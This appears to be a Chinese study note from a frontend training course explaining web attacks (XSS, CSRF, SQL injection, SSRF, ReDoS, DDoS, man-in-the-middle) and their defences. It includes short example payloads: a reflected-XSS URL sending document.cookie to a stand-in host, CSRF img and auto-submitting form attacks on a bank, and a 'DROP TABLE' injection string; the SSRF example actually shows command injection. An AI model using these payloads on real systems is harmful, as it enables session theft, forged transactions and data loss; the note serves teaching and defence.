字节青训前端笔记 | Web安全

news2024/9/25 7:22:46

在网络时代下,Web 安全随处可见并且危害极大,Web 安全问题也越来越受到重视。本节课将讲述Web中的攻击和防御

XSS

利用开发者盲目信任客户提交的内容来实现的工具,恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。他的特点是:

  1. 一般来讲它难以从UI上被感知到,即偷偷运行脚本
  2. 他习惯用cookie和token来窃取用户信息
  3. 它可以自身绘制UI节目,诱骗用户点击或者填写表单等

以下是几种XSS攻击的类型:

  • 存储型XSS

它利用接口过滤不严等问题,在提交内容时插入代码,将这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。

例如:你将一段可以获取当前cookie并且发送到黑客服务器的代码存储到博客中,当用户访问你的博客时,就会执行这段代码,你的数据就被盗取了。

  • 反射型XSS

这类攻击需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在web 页面。反射型XSS大多数是用来盗取用户的Cookie信息。

比如:如果某个网站的页面用类似这样的结构来渲染数据,注意这个逻辑是由服务器完成的,可能的场景是,你输入一些数据,然后把数据传到服务器,服务器返回给你一个带有 content 参数的界面来渲染你看到的页面

http://www.xxx.com?content='xxxx'
<div> 渲染获取content <div>

如果我们在content的内容里写入一些脚本,那么系统解析的时候就会执行这些脚本,那么如果这个脚本的作用是获取 cookie并且发送到服务器,你的cookie就被获取了:

http://www.xxx.com?content=<script>window.open("www.bbb.com?param="+document.cookie)</script>

如果黑客现在将这个链接发送给你,并且你已经登录了 www.xxx.com 这个网站且已经保存了 cookie,那么当你点开 XSS 攻击的链接的时候,你的cookie就被盗取了

  • DOM型XSS

Dom型xss类似于反射型xss,但是不同点在于DOM 型的 XSS 主要是由客户端的js脚本通过 DOM 动态地输出数据到页面上,比如一个页面的逻辑是这样的,你输入一些数据,然后当你点击页面的时候,通过js获取你输入的数据,然后展示出来:

<div id="xssd_main">
    <script>
        function domxss(){
            var str = document.getElementById("text").value;
            document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
        }
    </script>
    <input id="text" name="text" type="text"  value="" />
    <input id="button" type="button" value="click me!" onclick="domxss()" />
    <div id="dom"></div>
</div>

当你在输入框中输入数据的时候,如果你将恶意代码写入,那么 js 执行操作后,恶意代码就会在前端直接展示并且执行

  • mutation-based XSS

按照浏览器不同的渲染逻辑进行攻击

  • XSS 的防御
  1. XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤 ,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤;然后对动态输出到页面的内容进行 html 编码,转换为 html 实体,使脚本无法在浏览器中执行。

    例如:就是通过函数,将用户的输入的数据进行 html 编码,对可能形成脚本的部分进行转义, 使其不能作为脚本运行。

  2. 我们还可以服务端设置会话 Cookie 的 HTTP Only 属性,这样,客户端的 JS 脚本就不能获取Cookie 信息了。

前端的防御工具:

  1. vue、react 等框架都默认防御
  2. google-closure-library
  3. DOMPurify (Node)完成字符串的转义
  4. 扫描用户输入 html 内容和 svg 图片
  5. 不允许用户自定义跳转
  6. 不允许用户自定义样式,因为 background 属性等可以添加背景图片

CSRF

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。攻击者盗用了你的身份,以你的名义发送恶意请求

  • csrf的攻击方式

img

要完成一次CSRF攻击,受害者必须依次完成两个步骤:

  1. 登录受信任网站A,并在本地生成Cookie。
  2. 在不登出A的情况下,访问危险网站B。
  • GET型的CSRF

GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用

<img src="http://bank.example/withdraw?amount=10000&for=hacker" >

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。

  • POST类型的CSRF

这种类型的CSRF利用起来通常使用的是一个自动提交的表单

 <form action="http://bank.example/withdraw" method=POST>
    <input type="hidden" name="account" value="xiaoming" />
    <input type="hidden" name="amount" value="10000" />
    <input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script> 

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作

  • 链接类型的CSRF

这种方式需要用户点击链接才会触发。通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击

  • CSRF的特点
  1. 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。

  2. 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。

  3. 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。

  4. 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪

  • 防御措施

CSRF一般发生在第三方网站,而且攻击者只是冒用登录凭证而不是获取登录凭证数据,所以我们制订以下防范策略:

  • 阻止不明外部域名的访问

    • 同源检测

      Cookie同源策略是访问需要域名相同即同源;在HTTP协议中,每个异步请求都会携带两个header,用来标记来源域名。

    • Samesite Cookie

      Cookie的Samesite属性用来限制第三方Cookie, 从而减少安全风险,如果你设置它为StrictLax,基本就能阻止CSRF攻击,前提是浏览器支持SameSite属性。

  • 提交Form表单时,添加本域才能获取的验证信息

    • CSRF token

      我们可以要求所有用户请求都携带一个无法被攻击者劫持的token,Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。每次请求都携带这个token,服务端通过校验请求是否为正确token,可以防止CSRF攻击。

SQL注入

SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限陷),比如你的一句 SQL语句是这样的:

 select from XXX where id = ?

你传入的 id 参数是如下的语句,前半句语句会被闭合,后半句语句就被执行了

any; DROP TABLE XXX;

除了SQL 注入 还有其他类似的位置也会被注入,比如 CLI,命令行等等

  • 预防sql注入
  1. 过滤输入内容就是在数据提交到数据库之前,就把用户输入中的不合法字符剔除掉。可以使用编程语言提供的处理函数或自己的处理函数来进行过滤,还可以使用正则表达式匹配安全的字符串。
  2. 参数化查询目前被视作是预防 SQL 注入攻击最有效的方法。参数化查询是指在设计与数据库连接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter)来给值。
  3. 除了开发规范,还需要合适的工具来确保代码的安全。我们应该在开发过程中应对代码进行审查,在测试环节使用工具进行扫描,上线后定期扫描安全漏洞。通过多个环节的检查,一般是可以避免 SQL 注入的

SSRF

SSRF(service side request forgery) 为服务器请求伪造和上文的SQL注入类似,它是一种攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下SSRF的攻击目标是外网无法访问到的内部系统。SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

  • ssrf 的攻击方式

(1)对外网,服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。

(2)攻击运行在内网或本地的应用程序。

(3)对内网web应用进行指纹识别,识别企业内部的资产信息。

(4)攻击内外网的应用程序,主要是使用HTTP GET请求就可以实现的攻击。例如struts2、SQli等。

(5)利用file协议读取本地文件等。

  • ssrf 的例子

我们的后台有这样一句话来执行一个脚本,如果我们在 options 内闭合操作然后传入一个服务器脚本,那么就可以执行你想要的脚本

exec(`convert-cil ${video} -o ${options}`)
  • 防御原则
  1. 设定命令的权限,让你的代码不能执行一些高权限的代码,比如删除库等等
  2. 设定一个白名单,只允许指定命令在代码中执行
  3. 对URL的参数类型,协议,域名 、ip等进行限制

DOS

DoS攻击即拒绝服务攻击,使计算机或网络无法提供正常的服务。

  • ReDos

攻击者可构造特殊的字符串,导致正则表达式运行会消耗大量的内存和cpu导致服务器资源被耗尽。正则表达式的实现一般分为2类。Deterministic Finite Automaton (DFA) 和Nondeterministic Finite Automaton (NFA):

NFA:不确定有穷自动机。匹配的路径是不确定的,如果在某一条路径能够完成匹配,则能够及时返回。如果没能匹配上,则会回溯,尝试其他的路径。直到把所有的路径走完。这就是NFA为什么可能会造成redos攻击的原因。

我们避免写出如上这种贪婪匹配的方式来造成可能的ReDos攻击,同时尽量拒绝使用用户使用的正则表达式来避免用户自定义一个可以造成攻击的入口

  • DDOS

分布式拒绝服务(DDoS)攻击是通过大规模互联网流量淹没目标服务器或其周边基础设施,以破坏目标服务器、服务或网络正常流量的恶意行为。DDoS攻击好比高速公路发生交通堵塞,妨碍常规车辆抵达预定目的地。

例如:攻击者构造大量的握手请求,但是不进行第三次握手,导致大量的连接不能被释放,从而使得服务器瘫痪

对于ddos的防御的思路是:

  1. 在负载均衡和api网关对可能的ddos攻击进行过滤
  2. 前置cdn、快速扩容、降低非核心服务的等级等等

中间人攻击

中间人攻击(通常缩写为 MitM 或 MiM)是一种会话劫持网络攻击。 黑客拦截以数字方式共享的信息,通常是作为窃听者或冒充他人。 这种类型的攻击极其危险,因为它可能导致多种风险,例如信息被盗或虚假通信,这些通常很难被发现,因为这种情况对合法用户来说似乎完全正常。

执行中间人攻击需要黑客获得对用户连接的访问权限。 最常见的方法之一是创建一个公共 wifi 热点,附近的任何人都可以加入,黑客可以通过 IP 欺骗或 DNS 欺骗将用户发送到虚假网站而不是他们的预期目的地。用户最终都会进入黑客拥有的虚假网站(他们可以在那里捕获所有信息);黑客可以通过参与 ARP 欺骗来重新路由通信的目的地。 当黑客将他们的 MAC 地址连接到属于参与通信的合法用户之一的 IP 地址时,就会发生这种情况。 一旦他们建立连接,黑客就可以接收任何用于合法用户 IP 地址的数据。

  • 防御策略

使用 https 和 http 3 :他们使用了 TLS 协议进行加密,使用 MAC 验证防止信息被篡改,使用数字签名保证了双方的可信任性

SRI : 对比设定的哈希值和真实的哈希,如果两者不一样说明被篡改了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/176010.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器视觉(十二):二维条码识别

目录&#xff1a; 机器视觉&#xff08;一&#xff09;&#xff1a;概述 机器视觉&#xff08;二&#xff09;&#xff1a;机器视觉硬件技术 机器视觉&#xff08;三&#xff09;&#xff1a;摄像机标定技术 机器视觉&#xff08;四&#xff09;&#xff1a;空域图像增强 …

【16】C语言 | 初识函数递归 | 几个练习

目录 什么是递归? 练习1: 练习2: 练习3、 练习4 什么是递归? 程序调用自身的编程技巧称为递归( recursion )。递归做为一种算法在程序设计语言中广泛应用。一个过程或函数在其定义或说明中有直接或间接调用自身的一种方法&#xff0c;它通常把一个大型复杂的问题层层转化…

生物化学 电阻抗成像OpenEIT,Dbar算法,数据集等(暂记)

Electrical Impedance Tomography,EIT 电阻抗成像&#xff08;Electrical Impedance Tomography,EIT&#xff09;是一种无创的以人体内部的电阻率分布为目标的重建体内组织图像的技术。人体是一个大的生物电导体&#xff0c;各组织、器官均有一定的阻抗&#xff0c;当人体的局部…

SLF4J基本使用

文章目录1. 日志门面2. SLF4J的使用2.1 SLF4J入门2.2 为什么要使用SLF4J作为日志门面&#xff1f;2.3 绑定日志的实现&#xff08;Binding&#xff09;2.4 logback 整合 slf4j2.5 log4j 整合 slf4j2.6 jul 整合 slf4j3. 桥接旧的日志框架&#xff08;Bridging&#xff09;3.1 S…

完全二叉树的权值

题目描述 给定一棵包含 N 个节点的完全二叉树,树上每个节点都有一个权值,按从 上到下、从左到右的顺序依次是 A1​,A2​,⋅⋅⋅AN​,如下图所示: 现在小明要把相同深度的节点的权值加在一起,他想知道哪个深度的节点 权值之和最大?如果有多个深度的权值和同为最大,请你输…

react用高阶组件优化文件结构 帮助建立高阶组件应用思路

其实高阶组件是一个将组件写的更灵活的方式&#xff0c;他的应用场景在业务开发中会非常多样 这里 我们演示一种 主要还是解决问题的思想最重要 或者是 这个不叫解决问题 而是设计组件结构的思路 我们来模拟一个场景 在src下有一个 components 文件夹目录 在 components 下有…

3.开发社区首页

数据库设计如下&#xff1a; 任务&#xff1a;开发社区首页&#xff0c;显示前十个帖子&#xff1b;开发分页组件&#xff0c;分页显示所有帖子。 开发流程&#xff1a;entity->dao->mapper.xml->service->controller 由于关注后端&#xff0c;所以未使用前后分离…

【Potplayer】如何用Potplayer实现对视频的局部缩放播放?如何用potplayer更舒心地播放竖屏视频?

一、问题背景 有时候我们从互联网上下载得到一个竖屏视频&#xff0c;用电脑播放时&#xff0c;左右两边都是黑的&#xff0c;电脑屏幕的高宽度没有得到良好应用。而如果恰好这个竖屏视频其实只有一小部分才是有效区域/重点内容&#xff0c;比如中央区域&#xff0c;上下区域都…

win10怎么玩经典扫雷?繁星软件园推荐大家试试Windows7Games吧,亲测好用的扫雷Win10电脑版下载!!!

扫雷Win10电脑版(Windows7Games)是专门为微软最新版本的Windows 10/11操作系统打造的一款非常不错的消除类PC休闲小游戏安装包&#xff0c; Windows7Games游戏安装包为中文版&#xff0c;包含经典扫雷、空当接龙、红心大战、国际象棋等微软低版本操作系统Windows自带的多款超级…

我的硕士前半生

本篇文章属于随笔类&#xff0c;它可能无法对你起到直接帮助&#xff0c;它只是我这个普通学生一年半以来的一些足迹与思考。本文首发于我的个人博客 Forever Young 我的本科像硕士&#xff0c;有实验室有工位&#xff0c;桌子超级大&#xff0c;有老师带有学长可以问。 我的硕…

分享122个ASP源码,总有一款适合您

ASP源码 分享122个ASP源码&#xff0c;总有一款适合您 下面是文件的名字&#xff0c;我放了一些图片&#xff0c;文章里不是所有的图主要是放不下...&#xff0c; 122个ASP源码下载链接&#xff1a;https://pan.baidu.com/s/1-hwBdIxuv1NvpapRJsGAcQ?pwdgs1l 提取码&#x…

设计模式_行为型模式 -《迭代器模式》

设计模式_行为型模式 -《迭代器模式》 笔记整理自 黑马程序员Java设计模式详解&#xff0c; 23种Java设计模式&#xff08;图解框架源码分析实战&#xff09; 概述 定义 提供一个对象来顺序访问聚合对象中的一系列数据&#xff0c;而不暴露聚合对象的内部表示。 结构 迭代器…

手撕Pytorch源码#3.Dataset类 part3

写在前面手撕Pytorch源码系列目的&#xff1a;通过手撕源码复习了解高级python语法熟悉对pytorch框架的掌握在每一类完成源码分析后&#xff0c;会与常规深度学习训练脚本进行对照本系列预计先手撕python层源码&#xff0c;再进一步手撕c源码版本信息python&#xff1a;3.6.13p…

Couplet | 用Python写一副对联送给诸位科研汪!~

1写在前面 小伙伴们大家新年好啊&#xff01;&#xff01;&#xff01;&#x1f970; 又是一年新春到&#xff0c;玉兔祝福要记牢&#xff1a;蹦蹦跳跳身体棒&#xff0c;平平淡淡精神爽&#xff0c;红红火火财运旺&#xff0c;和和气气朋友广&#xff0c;简简单单幸福长。&…

Windows SDK编程 初学笔记

#include "windows.h"int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hPreInstance, PSTR szCmdLine, int iCmdShow) {MessageBox(NULL, TEXT("来见见世面"), TEXT("Say Hi"), MB_OK);return 0; } MessageBox第一个参数为句柄&#xff0c;第…

Socket通信

什么是Socket?

Java基础——运算符与表达式

目录 Eclipse下载 安装 使用 运算符 键盘录入 Eclipse下载 安装 使用 Eclipse的概述(磨刀不误砍柴工)——是一个IDE(集成开发环境)Eclipse的特点描述&#xff08;1&#xff09;免费 &#xff08;2&#xff09;纯Java语言编写 &#xff08;3&#xff09;免安装 &#xff08…

【手把手教你学51单片机】

注&#xff1a;本文章转载自《手把手教你学习51单片机》&#xff01;因转载需要原文链接&#xff0c;故无法选择转载&#xff01; 如若侵权&#xff0c;请联系我进行删除&#xff01;上传至网络博客目的为了记录自己学习的过程的同时&#xff0c;同时能够帮助其他一同学习的小伙…

AJAX Axios 总结

AJAX & Axios1. AJAX1.1 作用①与服务器进行数据交换②异步交互异步和同步1.2 基本使用1.3 案例SelectUserServlet&#xff1a;register.html&#xff1a;register.html中的<script2. Axios异步框架2.1 基本使用2.2 案例axiosServlet&#xff1a;axios-demo.html&#x…

Elasticsearch7.8.0版本高级查询—— 聚合查询文档

目录一、初始化文档数据二、聚合查询文档2.1、概述2.2、对某个字段取最大值 max 示例2.3、对某个字段取最小值 min 示例2.4、对某个字段求和sum 示例2.5、对某个字段取平均值 avg 示例2.6、对某个字段的值进行去重之后再取总数 示例三、State 聚合查询文档3.1、概述3.2、示例一…